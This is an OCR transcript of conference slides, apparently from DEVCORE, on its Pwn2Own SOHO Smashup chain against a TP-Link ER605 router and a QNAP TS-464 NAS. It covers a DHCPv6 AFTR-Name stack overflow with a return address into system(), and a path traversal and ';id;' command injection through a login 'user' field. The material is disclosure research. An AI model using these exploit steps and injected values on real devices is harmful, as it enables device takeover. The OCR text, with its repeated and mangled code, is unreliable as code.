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PWwn20wn =11 E DE\V/CORE

o Trend Micro Zero Day Initiative (ZDI) PTEE YRV EEE

o EHMWEMEBERZAZES HEREMEKE - MARIBEHESHERE - IRZ
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o Hoh—fE#8AYZ Small Office / Home Office (SOHO) Smashup




SOHO Smashup DE\/CORE

Initial Stage

Final Stage



Initial Stage Final Stage

Amazon Echo Show 15
Google Nest Hub Max
Sonos Era 100
Apple HomePod
Amazon Echo Studio
Google Nest Audio
HP Color LaserJet Pro MFP 4301fdw
Lexmark CX331adwe
Canon imageCLASS MF753Cdw
Synology DiskStation DS923+
My Cloud Pro Series PR4100 from WD
QNAP TS-464
Wyze Cam v3
Arlo Pro 4
Nest Cam (Wired)
Synology BC500
Google Camera

TP-Link ER605 V2
Synology RT6600ax
Cisco C1101-4P
MikroTik hAP ax3
Ubiquiti Networks Dream Machine Pro
Google WiFi

$100,000 USD

Master of Pwn
Points
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SOHO Smashup DE\/CORE

1t WAN IZ A Initial Stage Router




SOHO Smashup DE\/CORE

¥1 LAN 17 Recon
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SOHO Smashup DE\/CORE

8B Router P XiE
RXFH Port Forwarding
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SUCCESS - Tri Dang and Bien Pham ((@bienpnn) from Qrious Secure were able to execute 2
bugs (authentication bypass and command injectiong) attack against the WAN interface of
TP-Link AX1800 in the Router category. They earn $20K and 2 Master of Pwn points.

SUCCESS - Gaurav Baruah was able to execute their command injection attack against the

WAN interface of the Synelogy RT6600ax in the Router category, earning $20K cash and 2
Master of Pwn points.

SUCCESS - Computest was able to execute their command injection root shell attack against

the LAN interface of the Synology RT6600ax in the Router category. They earn $5K and 1
Master of Pwn points.

SUCCESS - Claroty Research was able to execute a chain of 3 bugs (2x Missing Auth for

Critical Function and an Auth Bypass) attack against the Synology DiskStation DSS20+ in the

NAS category. They earn $40K and 4 Master of Pwn points.
SUCCESS - Team Viettel was able to execute their Command Injection, Root Shell attack

against the LAN interface of the TP-Link AX 1800 in the Router category. They earn $5K and
1 Master of Pwn points.

SUCCESS and BUG COLLISION - Bugscale was able to succesfully launch an attack against

the Synelogy router and HP Printer in today's first SOHO SMASHUP challenge using one
unique bug and another previously known bug. They earn $37,500 and 7.5 Master of Pwn

DE\/CORE e
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® CVE-2022-27596: SQL Injection

® CVE-2022-27588: CMD Injection
* REMEZE QNAP
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Hx Firmware DE\/CORE

o (EMIEAIUL N &, Firmware
® Firmware )2/J0% - ol LI E UL binwalk 71 A

: TP-Link

I

Binwalk

w.Build Status S=E iy ) stars - 22k

Binwalk is a fast, easy to use tool for analyzing, reverse engineering, and extracting firmware images.
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% Firmware DE\/CORE

o EMIEAUL N &L Firmware
® Firmware }2J01% + oI BEFEPL binwalk #rHA*

® Firmware B/J1&  EZEHE L QNAP

® ulidtko/gnap-ats-fw-cryptor.py

: TP-Link

I
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https://gist.github.com/ulidtko/966277a465f1856109b2d2674dcee741

% Firmware DE\/CORE

o EMIEAUL N &L Firmware
® Firmware }2J01% + oI BEFEPL binwalk #rHA*

VAN

® Firmware B/J1&  EZEHE L QNAP

® ulidtko/gnap-ats-fw-cryptor.py

= 0H 44

Z j2 % &3 ssh root shell: Synology
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I

o
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https://gist.github.com/ulidtko/966277a465f1856109b2d2674dcee741
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o Hi¥HE s

QNAP T5-464-8G

M.2/2.5G=HERE

4bay Intel 8GB

io

Synology RT6600ax &

TP-Link ER605 SafeStream QONAP TS-464-8G
Gigabit Z WAN Omada Gigabit NT$9,999.00 ABay NAS BEEE
VPN ESEI23 B e
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Attack Surface DE\/CORE

o FMTE WAN ImfY Layer 3 lR#FFIEE #/0
* VPN

o 1B3B7 Layer 2 AN Layer 2/3 BIF
® DHCP
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.3» a
Serwces i \" Serwces

’_., >

31



R DEVCORE

o M MR DHCP E{E&EIE S open source project

® Synology

® /sbin/dhcpcd (DHCPv4 Client)

® /usr/sbin/dhclient (DHCPv6 Client)
® TP-Link

® /sbin/udhcpc (DHCPv4 Client)

® /usr/sbin/dhcp6c (DHCPv6 Client)
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Rz e DE\/CORE

o M MR DHCP E{E&EIE S open source project

® Synology

® /sbin/dhcpcd (DHCPv4 Client)

® /usr/sbin/dhclient (DHCPv6 Client)
® TP-Link

® /sbin/udhcpc (DHCPv4 Client)

® /usr/sbin/dhcp6c (DHCPv6 Client)
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DHCPv6 £ EIH& = DE\/CORE

0 1 2 3

—{@ ¥4 Bl p o] L5 221 Options
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DHCPv6 Option 15T\ DE\/CORE

0 1 2 3




clienté_recv DEVCORE

static void client6 recv()

{
struct dhcp6opt *p, *ep;
struct dhcp6 optinfo optinfo;

dhcp6 init options(&optinfo);

p = (struct dhcp6eopt *)(dh6 + 1);

ep = (struct dhcp6opt *)((char *)dhe + len);

if (dhcp6_get_options(p, ep, Boptinfo)] < 0) {
dprintf(LOG INFO, FNAME, "failed to parse options");
return;

}

client6 recv IENY dhcpb get options 4T options

37



clienté_recv DEVCORE

static void client6 recv()

{
struct dhcp6opt *p, *ep;

struct dhcp6 optinfo optinfo;

dhcp6 init options(&optinfo);

p = (struct dhcp6eopt *)(dh6 + 1);

ep = (struct dhcp6opt *)((char *)dhe + len);
it (dhcp6 get options(p, ep, &optinfo) < 0) {

dprintf(LOG INFO, FNAME, "failed to parse options");
return;

s ep I5[MEBIAGE

p fa @58 —{& option
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clienté_recv DEVCORE

static void client6 recv()

{
struct dhcp6opt *p, *ep;
struct dhcp6 optinfo optinfo;

dhcp6 init options(&optinfo);

p = (struct dhcp6eopt *)(dh6 + 1);

ep = (struct dhcp6opt *)((char *)dhe + len);

it (dhcp6 get options(p, ep, ) < 0) {
dprintf(LOG INFO, FNAME, "failed to parse options");
return;

) T 12 BYAS R E Z HEE optinfo

39
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clienté recv
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dhcpb_get options DEV/CORE

int dhcp6 get options(p, ep, optinfo)
{

for loop EZIEFT BIPHIE —{E option

41



dhcpb_get options DEV/CORE
for (; p+ 1 <==¢ep; p =np) {

optlen = ntohs(opth.dh6opt len); HY 45 option-code (opt)
opt = ntohs(opth.dh6opt type); 1 option-len (optlen)

cp = (char *)(p + 1);

np = (struct dhcp6opt *)(cp + optlen);

if (np > ep) {
dprintf(LOG INFO, FNAME, "malformed DHCP options");
goto fail;

}
switch (opt) { ... }

42



dhcpb_get options DEV/CORE

for (; p+ 1 <=-¢ep; p = np) {

optlen = ntohs(opth.dh6opt _len);
opt = ntohs(opth.dh6opt_type);

cp = (char *)(p + 1);
np = (struct dhcp6opt *)(cp + optlen);
if (np > ep) {
dprintf(LOG INFO, FNAME, "malformed DHCP options");

} goto tall; K —1B option FIIE (np)

switch (opt) { ... }

LL%:I.EHEI % (ep)
Al goto fail
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dhcpb_get options DEV/CORE

for (; p+ 1 <=-ep; p = np) {

optlen = ntohs(opth.dh6opt len);
opt = ntohs(opth.dh6opt type);

cp = (char *)(p + 1);

np = (struct dhcp6opt *)(cp + optlen);

if (np > ep) {
dprintf(LOG INFO, FNAME, "malformed DHCP options");
goto fail;

} R #Z option-code

switch (opt) { ... } 1k 2 %1 FE case
}

44



case DHE0OPT CLIENTID:[KeERI=3E

DE\/CORE
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case DH6OPT T” —nyERS: ; .

SERVE 1:&5!i’:iih!lﬂ§!?b
Wl = DHE’OPT’&YLS\?“/‘( I-{F'r (UVDH6OPT NI
DH60PT NTP :MIN_N,&ME :ﬁ

cae,ec‘;‘ge DR°™" 7 case DH60PT SIP SERVE

_w>e DH6OPT CLIE

DT
case DH60 \

- NS
ce DH60nggccase D

case DH6ULF, =

DE\/CORE
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RFC 6334
Case 64 = The AFTR-Name DHCPv6 Option

DE\/CORE



AFTR-Name Option &2l DE\/CORE

0 1 2 3

ZhY "aftr.example.com."




case 64:
if ( c en )
{
detbuf = optinfo->aftr_name; // buf size: 128
if ( optinfo != (dhcpé _optinfo *)-232 )
{
if ( cp )
{
size = p_1[4];
s1dx = 1,
didx = @;
while ( size )
{

if ( optlen < size )

break;
mem:py(&d-tLJT[d_d ], &c p[,_d ], size);
tmp_sidx slze + si1dx
if ( size + sidx >= ‘pt-:ﬂ )
break;
np_didx size + didx;
X = 1p_:idx + 1,
= ~I—[1'1I3_“d ],.
X = tmp_didx + 1
d,tLuf[f1p didx] =

}
}
}

}
goto NEXT,;

51



Case 64 Pseudo Code DEV/CORE

it (opt len) { optinfo.buf (char [128])
idx = 0; IIIIIIIIIIIIIIIIIIIIIIIIIIII
for (part_len = first part len; | | |

part len && part len <= opt len; 64 18
part len = next part len) {
memcpy (optinfo->buf[idx],
data[idx + 1],

part len);
if (part len + idx + 1 >= opt len)
break;
optinfo->buf[idx + part len] = '.';
1dx += part len + 1;

}
} goto NEXT _LOOP

52



Case 64 Pseudo Code DEV/CORE

if (opt len) { optinfo.buf (char [128])
idx = 0; _

for (part len = first part len; e
part len & & part len <= opt len; 64
part len = next part len) {

memcpy (optinfo->buf[idx],
datal[idx + 1],

part len);
if (part len + idx + 1 >= opt len)
break;
optinfo->buf[idx + part len] = '.';
1dx += part len + 1;

}
} goto NEXT LOOP
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Case 64 Pseudo Code DEV/CORE

it (opt len) { optinfo.buf (char [128])

idx = 0; _
for (part _len = first part len; f | |

part _len && part_len <= opt_len; 64 18
part_len = next_part_len) {
memcpy (optinfo->buf[idx],
data[idx + 1],

part len);
if (part len + idx + 1 >= opt len)
break;
optinfo->buf[idx + part len] = '.';
1dx += part len + 1;

}
} goto NEXT _LOOP
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Case 64 Pseudo Code DEV/CORE

it (opt len) { optinfo.buf (char [128])

idx = 0; _

for (part len = first part len;

part_len && part_len <= opt_len; 64 18
part_len = next_part_len) {
memcpy (optinfo->buf[idx],

datal[idx + 1],

part len);
if (part len + idx + 1 >= opt len)
break;
optinfo->buf[idx + part len] = '.';
1dx += part len + 1;
}

} goto NEXT LOOP
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Case 64 Pseudo Code DEV/CORE

it (opt len) { optinfo.buf (char [128])
idx = 0; IIIIIIIIIIIIIIIIIIIIIIIIIIII
for (part_len = first part len; | | |

part len && part len <= opt len; 64 18
part len = next part len) {
memcpy (optinfo->buf[idx],
data[idx + 1],

part len);
if (part len + idx + 1 >= opt len)
break;
optinfo->buf[idx + part len] = '.';
1dx += part len + 1;
}

} goto NEXT _LOOP
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Case 64 Pseudo Code DEV/CORE

it (opt len) { optinfo.buf (char [128])
idx = 0; IIIIIIIIIIIIIIIIIIIIIIIIIIII
for (part_len = first part len; | | |

part len && part len <= opt len; 64 18
part_len = next_part ler) {
memcpy (optinfo->buf[idx],
data[idx + 1],

part len);
if (part len + idx + 1 >= opt len)
break;
optinfo->buf[idx + part len] = '.';
1dx += part len + 1;

}
} goto NEXT _LOOP
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Case 64 Pseudo Code DEV/CORE

it (opt len) { optinfo.buf (char [128])

for (part len = first part len;

part_len && part_len <= opt_len; 64 18
part_len = next_part_len) {
memcpy (optinfo->buf[idx],

datal[idx + 1],

part len);
if (part len + idx + 1 >= opt len)
break;
optinfo->buf[idx + part len] = '.';
1dx += part len + 1;
}

} goto NEXT LOOP
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Case 64 Pseudo Code DEV/CORE

it (opt len) { optinfo.buf (char [128])
idx = 0; IIIIIIIIIIIIIIIIIIIIIIIIIIII
for (part_len = first part len; | | |

part len && part len <= opt len; 64 18
part len = next part len) {
memcpy (optinfo->buf[idx],
data[idx + 1],

part len);
if (part len + idx + 1 >= opt len)
break;
optinfo->buf[idx + part len] = '.';
1dx += part len + 1;
}

} goto NEXT _LOOP
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Case 64 Pseudo Code DEV/CORE

it (opt len) { optinfo.buf (char [128])
idx = 0; IIIIIIIIIIIIIIIIIIIIIIIIIIII
for (part_len = first part len; | | |

part len && part len <= opt len; 64 18
part_len = next_part ler) {
memcpy (optinfo->buf[idx],
data[idx + 1],

part len);
if (part len + idx + 1 >= opt len)
break;
optinfo->buf[idx + part len] = '.';
1dx += part len + 1;

}
} goto NEXT _LOOP

60



Case 64 Pseudo Code DEV/CORE

it (opt len) { optinfo.buf (char [128])

for (part len = first part len;

part_len && part_len <= opt_len; 64 18
part_len = next_part_len) {
memcpy (optinfo->buf[idx],

datal[idx + 1],

part len);
if (part len + idx + 1 >= opt len)
break;
optinfo->buf[idx + part len] = '.';
1dx += part len + 1;
}

} goto NEXT LOOP
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Case 64 Pseudo Code DEV/CORE

it (opt len) { optinfo.buf (char [128])
1dx = 0; IIIIIIIIIIIIIIIIIIIIIIIIIIII
for (part_len = first part len; | | |

part len && part len <= opt len; 64 18
part len = next part len) {
memcpy (optinfo->buf[idx],
data[idx + 1],

part len);
if (part len + idx + 1 >= opt len)
break;
optinfo->buf[idx + part len] = '.';
1dx += part len + 1;
}

} goto NEXT _LOOP
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Case 64 Pseudo Code DEV/CORE

it (opt len) { optinfo.buf (char [128])
1dx = 0; IIIIIIIIIIIIIIIIIIIIIIIIIIII
for (part_len = first part len; | | |

part len && part len <= opt len; 64 18
part_len = next_part ler) {
memcpy (optinfo->buf[idx],
data[idx + 1],

part len);
if (part len + idx + 1 >= opt len)
break;
optinfo->buf[idx + part len] = '.';
1dx += part len + 1;

}
} goto NEXT _LOOP
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Case 64 Pseudo Code DEV/CORE

it (opt len) { optinfo.buf (char [128])

for (part_len = first part_len; |
part len|&& part_len <= opt_len; 64 18
part len = next part len) {
memcpy (optinfo->buf[idx],
data[idx + 1],

part len);
if (part len + idx + 1 >= opt len)
break;
optinfo->buf[idx + part len] = '.';
1dx += part len + 1;

}
} |goto NEXT_LOOP
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Case 64 Pseudo Code DE\/CORE

if (opt len) { optinfo.buf (char [128])
1dx = 0;
for (part len = first part len;
part len && part len <= opt len;
part len = next part len) {
memcpy (optinfo->buf[idx],
datal[idx + 1],

aftr.example.com.

{4
W -
N—

part len);
if (part len + idx + 1 >= opt len)
break;
optinfo->buf[idx + part len] = '.';
1dx += part len + 1;

}
} goto NEXT LOOP
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Case 64 Pseudo Code DEV/CORE

it (opt len) { optinfo.buf (char [128])
idx = ©; IIIIIIIIIIIIIIIIIIIIIIIIIIII
for (part_len = first part len; e

part len & & part len <= opt len; 64
part len = next part len) {
memcpy (optinfo->buf[idx],
datal[idx + 1],

part len);
if (part len + idx + 1 >= opt len)
break;
optinfo->buf[idx + part len] = '.';
1dx += part len + 1;

}
} goto NEXT LOOP
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Case 64 Pseudo Code DEV/CORE

it (opt len) { optinfo.buf (char [128])
idx = 0; IIIIIIIIIIIIIIIIIIIIIIIIIIII
for (part len = first part len;
part len & & part len <= opt len;
part len = next part len) {
memcpy (optinfo->buf[idx],
datal[idx + 1],

part len);
if (part len + idx + 1 >= opt len)
break;
optinfo->buf[idx + part len] = '.';
1dx += part len + 1;

}
} goto NEXT LOOP
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AAMALAAAALNAALLALALALAANARDA DE CORE

AAAANAANANANANAANLALRNAND
MAAAMAARANAALDAANAD

el ODtinfo.buf ( )

AAAALAALALAAN

AAAAAAALAAAAAAA LA AL A AL AAA---AAA.AAA---AAA.AAA---AAA.:-

OXFFFF

MA““) AAA
u‘.“ 64 |

"‘: Stack-based Buffer Overflow
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SEEDORE & [RIEIE T DE\/CORE

MIPS32 LE

NX: Disable (MIPS IN & A7 %)
PIE: Disable

ASLR: Enable

Stack canary: Disable
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Exploit DEV/CORE

Exploit {5 F3 £l i {iE options




Exploit - options|0O] DEV/CORE

optinfo.buf (char [128])

A A

A A

Return address
55 —{El DHCPv6 option FH2RE% %E client6_recv HY stack

7% ;2 A8 stack canary

o] I B %% FHimid &2 return address

72



Exploit - options|1] DEV/CORE
for (; p+ 1 <=-ep; p=np) {

optlen = ntohs(opth.dh6opt len);
opt = ntohs(opth.dh6opt type);

cp = (char *)(p + 1);
np = (struct dhcp6opt *)(cp + optlen);
if (np > ep) {
dprintf(LOG INFO, FNAME, "malformed DHCP options");

goto fail; 55 __{El option %€ optlen 5% & OxFFFF
} {HE[E optiondata RIEA O
switch (opt) { ... } {8 N —1{& option FINI B #EE3IT BI4E E

} E 2 goto fail
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Exploit DEV/CORE

static void client6 recv()

{
struct dhcp6opt *p, *ep;
struct dhcp6 optinfo optinfo;

dhcp6 init options(&optinfo);

p = (struct dhcp6eopt *)(dh6 + 1);

ep = (struct dhcp6opt *)((char *)dhe + len);

it (dhcp6 get options(p, ep, &optinfo) < 0) {
dprintf(LOG INFO, FNAME, "failed to parse options");

return; dhcp6_get_options [Bl{E & £{
} O] i client6 recv 55_E return
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Exploit

DE\/CORE

optinfo.buf (char [128])
A JA
A JA

Return address

EHl TR




B2 TR T A ZIHE

@
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DE\/CORE

fastcall system(char *al) 13 if (!

{
[©]
[1]
[2]
[3] = ©;
execve("/bin/sh", va
exit(127);
}
while ( waitpid(v2,
{
if ( * errno_location() != 4 )
return -1;

8
S

}

return ;

o D L T L D L S I I I L B S R
O~ O U1 B~ | o I ST A

W B
M = Y

return -1;

M £ :Z binary P
HITE{E T system K]
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DE\/CORE

char v2[4096]; //
va list v3; //

va _list va; //

va start(va, al);
va_copy(v3, va);
vsprintf(v2, al);
return system(v2);

= O© WO 00 N Oy U1 B

e

Z ¥ system BY callsite

78



char v2[4096]; //
va list v3; //
va list va; //

LOAD : 004043 /A
LOAD : 004043 /C

return system(v2);

2 B PIE (& L {113t & /E
A FHifmiE R te T FHE I stack L

Pk Z 0x40437A + 1 FREEH 1T
(MIPS address 52 +1 7 =Xl MIPS16e #11T)

79

DE\/CORE




LOAD : 0040437A addiu  $a0@, $sp, Ox18

LOAD :0040437C jal system

return address A A
L 0x40437B AT 0x18

EEE<

DE\/CORE
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LOAD : 0040437A addiu  $a0@, $sp, Ox18

LOAD :0040437C jal system
A A
El . A
|—’ 0x40437B 'A' * 0x18
ETEE<

DE\/CORE
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LOAD : 004043 /A

LOAD :0040437C jal system

= .

0x404378B 'A' * 0x18

EEE<

DEV/CORE
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LOAD : 004043 /A

LOAD :0040437C jal system

E— .
N | ooaszs A% 0x18

L» EEE<

DE\/CORE

33



LOAD : 004043 /A
LOAD :004043/C

jal

0x40437/B

'A' * Ox18

.

E=E<

DE\/CORE
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ER605(UN) V2 2.2.2 Build 20231017 -

Published Date: 2023-10-18 Language: English File Size: 20.08 MB

3% 1 patch
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i= Uf )l 2 4 Patch 1%

DE\/CORE
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TP-Link ER605 /usr/sbin/dhcp6c DE\/CORE

* dhcp6_get_options ¥/ AFTR-Name option (case 64) BYEENT 75 T\ 7 1E il

B2 client6 recv X%l stack-based buffer overflow 52£&

o ;Z2ERIF stack canary E 0] DAB S K] B % A =232 return address
o ;SERIHA PIE - AIXERZEILFAE system » T2t 1R FHHY gadget
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Final Stage




QNAP TS-464 Attack Surface DE\/CORE

= A

17 . . =J\J/3 7 AL
o KE(2 Application FEEZ ) L 4=
P

o T 221] QTS I EHIE IMK

o

73
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QNAP TS-464 Attack Surface DE\V/CORE

Program Port |Note

fcgi-pm Apache FastCGl Proxy £l thttpd -~ CGls A] Web Server

WSDiscovery.py Open Source WS-Discovery AR 75
avahi-daemon Open Source Bonjour ARFS

dhclient Open Source DHCP Client

smbd Samba BR#% © QNAP £4%81B Code Base 1E X
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QNAP TS-464 Attack Surface DE\V/CORE

Program Port |Note

fcgi-pm Apache FastCGl Proxy Z| thttpd_ * CGls ] Web Server

WSDiscovery.py Open Source WS-Discovery AR 75
avahi-daemon Open Source Bonjour ARFS

dhclient Open Source DHCP Client

smbd Samba BR#% © QNAP £4%81B Code Base 1E X
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® Modules

® ProxyPass
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FastCGl DE\V/CORE

® NModules

o KEB2 Modules 45 Apache #:&

e 3| KA Open Source
o [l AKX

® ProxyPass

T
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FastCGl DE\/CORE

® Modules

® ProxyPass
® Application
® CGls
® thttpd
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FastCG]| DE\/CORE

® Modules

® ProxyPass

o Application EFEL R UL

® (CQGls
® thttpd
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FastCGl DE\/CORE

® Modules

® ProxyPass
® Application
® CGls
® thttpd
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FastCGl - CGls DE\V/CORE

® & /cgi-bin proxy #l] /home/httpd/cgi-bin

o KER7 CGls Bl 7 25558 (Post-Auth)
o D MNAaAHREEERTENMSH CGls
® /authlogin.cgi

® /priv/privWizard.cgi
® /qid/blobRequest.cgi
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FastCGl - CGls DE\V/CORE

® & /cgi-bin proxy #l] /home/httpd/cgi-bin

o KER7 CGls Bl 7 25558 (Post-Auth)
o DI NAAEERGEHAEEE S CGIs
® /authLogin.cgi 2t Password X Token BYBR S HEF - B ss A Ih[Ol{E sid

® /oriv/privWizard.cgi

® /qid/blobRequest.cgi
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FastCGl - CGls DE\V/CORE

® & /cgi-bin proxy #l] /home/httpd/cgi-bin

o REB7 CGls &P T A rE (Post-Auth)

o I MNBAREMBEEHLHNEFR CGls
® /authlogin.cgi

ke

% iE User HY Config - o] LA3E 38 Password 2% Token 58

® /priv/privWizard.cgi
® /qid/blobRequest.cgi
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FastCGl - CGls DE\V/CORE

® & /cgi-bin proxy #l] /home/httpd/cgi-bin

o KER7 CGls Bl 7 25558 (Post-Auth)
o DI NEBAFTEZEEHOD I SH CGls
® /authlogin.cgi

® /priv/privWizard.cgi
e /qid/blobRequest.cgi 51 it blob TEFFEE QNAP Server Sync &l
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FastCGl - CGls DE\V/CORE

® & /cgi-bin proxy #l] /home/httpd/cgi-bin

o KER7 CGls Bl 7 25558 (Post-Auth)
o D MNAaAHREEERTENMSH CGls
® /authlogin.cgi

® /priv/privWizard.cgi
e /gid/blobRequest.cgi HEE query string =& A sid ()28 5% sid =& IETE
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Path Traversal

DE\/CORE



Path Traversal - Root Cause DEV/CORE

int device auth get user config path(char *user, char *ret,

int len) {
vl = Get_User_Config_Root_Path(user, path, 514);
if (vl || __xstate4(1, path, &v6) && mkdir(path, ©x1ED))
return -1;
else
snprintf(ret, len, "%s/%s", path, "auth.conf");
return vil;
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Path Traversal - Root Cause DEV/CORE

user fEASE] - [O{& user BY auth.conf IERNE

int device auth get user config path(char * char *ret,
int len) {
vl = Get User Config Root Path(user, path, 514);

if (vl || xstaté64(1l, path, &v6) && mkdir(path, Ox1ED))
return -1;
else

snprintf(ret, len, "%s/%s", path, "auth.conf");
return vil;
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Path Traversal - Root Cause DEV/CORE

int device auth _get user config path(char *user., char *ret.

HX#S user Y Config B # {18

vl =|Get User Config Root Path(user, path, 514);

if (vl || xstaté64(1l, path, &v6) && mkdir(path, Ox1ED))
return -1;

else
snprintf(ret, len, "%s/%s", path, "auth.conf");

return vil;
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Path Traversal - Root Cause DEV/CORE

int device auth _get user config path(char *user., char *ret.
5% iE path = /etc/config/ .qos_cnig/ users/<user>

vl =|Get User Config Root Path(user, path, 514);

if (vl || xstaté64(1l, path, &v6) && mkdir(path, Ox1ED))
return -1;

else
snprintf(ret, len, "%s/%s", path, "auth.conf");

return vil;
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Path Traversal - Root Cause DEV/CORE

int device auth _get user config path(char *user. char *ret.
(BRI E user eEEIF "../" B O] Path Traversal

vl =|Get_User_Config Root_Path(user, path, 514);

if (vl || xstaté64(1l, path, &v6) && mkdir(path, Ox1ED))
return -1;

else
snprintf(ret, len, "%s/%s", path, "auth.conf");

return vil;
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Path Traversal - Root Cause DEV/CORE

int device_auth_get_user_cG vmwia o i ket
Y02R path 18 EAFTE L mkdir(path)

& =T |
vl = Get User Config Rooil 322 Arbitrarily Create Directory

if (vl ||| xstaté64(1l, path, &v6) && mkdir(path, Ox1ED))

return -1;
else

snprintf(ret, len, "%s/%s", path, "auth.conf");
return vil;
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Path Traversal - Code Flow DEVCORE

EXE

user authlLogin.cgi
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Path Traversal - Code Flow DEVCORE

. gtoken =123
user =../../../../devcore

user authlLogin.cgi

EXE
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Path Traversal - Code Flow DEVCORE

fEia user eE B E

. gtoken = 123 2-Step Verification (2sv)
user =../../../../devcore

EXE

user authlLogin.cgi
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Path Traversal - Code Flow DEVCORE

1552 user BY Config BEEEIF 2sv

. gtoken =123
user =../../../../devcore

EXE

user authlLogin.cgi
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Path Traversal - Code Flow DEVCORE

Call device auth get user config path(user)

. gtoken =123
user =../../../../devcore

EXE

user authlLogin.cgi
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Path Traversal - Code Flow DEVCORE

2%3R
[etc/config/.qos config/users/../../../../devcore

. gtoken =123 B A FE
user =../../../../devcore -
EXE

user authlLogin.cgi
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Path Traversal - Code Flow DEVCORE

mkdir("/etc/config/.qos config/users/

..J..[..[]../devcore")
. gtoken =123
user =../../../../devcore -
EXE

user authlLogin.cgi
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Path Traversal - Code Flow DEVCORE

3217 HiFk /devcore

. gtoken =123
user =../../../../devcore

EXE

user authlLogin.cgi
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Path Traversal - Code Flow DEVCORE

o SIX =
. qtoken _ 173 :%/»AI:IE thken EEIEEE
user =../../../../devcore

EXE

user authlLogin.cgi
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Path Traversal - Usage

BB ZEN

ik

121
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Path Traversal - Usage DE\/CORE

. ABEERIERAR (HER)

etc

home

Pwned by DEVCORE
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Path Traversal - Usage DE\/CORE

. AEEBSFEIRXR

&

123
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Command Injection - Root Cause DEV/CORE

void send conn log to gvr(al, user, a3, device, ...) {
if (! xstat(1l, "/sbin/gvrpro conn log tool",
&stat buf)) {

snprintf(cmd, ©0x1001ull,
“/sbin/qvrpro conn log tool -t %d -1 '%lu’ -u
RS -p %S -m %S’ -s %»d -c %»d -a ‘%S’ "
"1>/dev/null 2>/dev/null &",
al, vl6, user, a3, device, Vv9, Vv7, Vv20);

return system(cmd);

}

¥
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Command Injection - Root Cause DEV/CORE

user, device (A< 2 - 5c#%%] QVR DB &
void send conn log to qvr(al, a3, cve) £

if (! xstat(1l, "/sbin/gvrpro conn log tool",
&stat buf)) {
snprintf(cmd, ©0x1001ull,
“/sbin/qvrpro conn log tool -t %d -1 '%lu’ -u
RS -p %S -m %S’ -s %»d -c %»d -a ‘%S’ "
"1>/dev/null 2>/dev/null &",
al, vl6, user, a3, device, Vv9, Vv7, Vv20);
return system(cmd);

}

¥
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Command Injection - Root Cause DEV/CORE

vold send conn log t & /sbin/qvrpro_conn_log_tool EEFAE

if (! xstat(1l, "/sbin/gvrpro conn log tool",
&stat buf)) {
snprintf(cmd, ©0x1001ull,
“/sbin/qvrpro conn log tool -t %d -1 '%lu’ -u
RS -p %S -m %S’ -s %»d -c %»d -a ‘%S’ "
"1>/dev/null 2>/dev/null &",
al, vl6, user, a3, device, Vv9, Vv7, Vv20);
return system(cmd);

}

¥
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Command Injection - Root Cause DEV/CORE

void send conn log to gvr(al, user, a3, device, ...) {

if (1_xstat(l, "/sbimie e oo oo
2ctat by M9 user, device 5%%& cmd HI—&[ 57 - RIEE

snprintf(cmd, ©0x1001ull,
"/sbin/qgvrpro conn log tool -t %d -1 '%lu’' -u

"'%s' -p '%s' -m '%s' -s %d -c %d -a "%s' "

"1>/dev/null 2>/dev/null &",
al, v16,[user,] a3, v9, V7, Vv20);

return system(cmd);

}

¥

130



Command Injection - Root Cause DEV/CORE

void send conn log to gvr(al, user, a3, device, ...) {
if (! xstat(1l, "/sbin/gvrpro conn log tool",
&stat buf)) {

snprintf(cmd, ©0x1001ull,
“/sbin/qgvrpro conn log tool -t %d -1 "%lu’ -u
RS -p %S -m %S’ -s %»d -c %»d -a ‘%S’ "
"1>/dev/null 2>/dev/null &",
al, vl6, user, a3, device, Vv9, Vv7, Vv20);

return|system(cmd) ; system fi& 3% Command Injection
}

¥
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Command Injection - Root Cause DEV/CORE

QEREREAGE  REREHEER

vold send conn log ti*
if (! xstat(1, "/sbln/qupro_conn_log_tool",
&stat buf)) {
snprintf(cmd, ©0x1001ull,
“/sbin/qgvrpro conn log tool -t %d -1 "%lu’ -u
RS -p %S -m ‘%S’ -s %»d -c %d -a ‘%S’ "
"1>/dev/null 2>/dev/null &",
al, vl6, user, a3, device, Vv9, Vv7, Vv20);
return system(cmd);

}

¥
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Command Injection - gvrpro conn log tool DEV/CORE

EXE

user authlLogin.cgi
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Command Injection - gvrpro conn log tool DEV/CORE

gtoken =123
user =
& .J..[..]../sbin/gvrpro conn log tool
»43

user authlLogin.cgi

138



Command Injection - gvrpro conn log tool DEV/CORE

qtoken =123 Call device auth get user config path(user)
user =

. .J..[..]../sbinfgvrpro conn log tool -

. EXE

user authlLogin.cgi
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Command Injection - gvrpro conn log tool DEV/CORE

gtoken = 123 #2211 B /sbin/qurpro_conn_log_tool
user =

. .J..[..]../sbinfgvrpro conn log tool -

. EXE

user authlLogin.cgi
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Command Injection - Code Flow DEV/CORE

user

EXE
authLogin.cgi

EXE
gLogEngined gLogDB

EXE
gvrpro_conn_log tool gvrproLogDB
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Command Injection - Code Flow DEV/CORE

user

user = :id;

device = aaa

plain_pwd =

g —’.

Wrong

EXE
authLogin.cgi

EXE
gLogEngined gLogDB

EXE
gvrpro_conn_log tool gvrproLogDB
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Command Injection - Code Flow DEV/CORE

user = :id;
device = aaa
g~A ‘4
plain_pwd = = A KB
. Wrong
®
EXE EXE
user authlLogin.cgi gLogEngined 1LogDE
EXE

gvrpro_conn_log tool gvrproLogDB
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Command Injection - Code Flow DEV/CORE

user = ;id;
device = aaa N
olain pwd = sC &% user, device
. Wrong h
«®
EXE EXE
user authlLogin.cgi glLogEngined gLogDB
EXE

gvrpro_conn_log tool gvrproLogDB
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Command Injection - Code Flow DEV/CORE

device = aaa msg.device = aaa
plain_pwd = MSE.MSg =
. Wrong . Login Fail
. EXE EXE
user authLogin.cgi gLogEngined glLogDB

EXE
gvrpro_conn_log tool gvrproLogDB
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Command Injection - Code Flow DEV/CORE

user = :id; msg.user = ;id;
device = aaa msg.device = aaa
plain_pwd = msg.msg =
. Wrong Login Fail Store msg in DB
. EXE EXE
user authLogin.cgi qgLogEngined qLogDB

EXE
gvrpro_conn_log tool gvrproLogDB
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Command Injection - Code Flow DEV/CORE

user

user = :id; msg.user = ;id;
device = aaa msg.device = aaa
plain_pwd = MSE.MSg =
Wrong . Login Fail Store msg in DB s
EXE EXE L
authLogin.cgi gLogEngined qLogDB

l A QUR A28 T A LB

EXE
gvrpro_conn_log tool gvrproLogDB
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Command Injection - Code Flow DEV/CORE

user = :id; msg.user = ;id;
device = aaa msg.device = aaa
plain_pwd = msg.msg =
. Wrong Login Fail Store msg in DB
. EXE EXE
user authLogin.cgi qgLogEngined qLogDB

l Call send_conn_log to _qvr
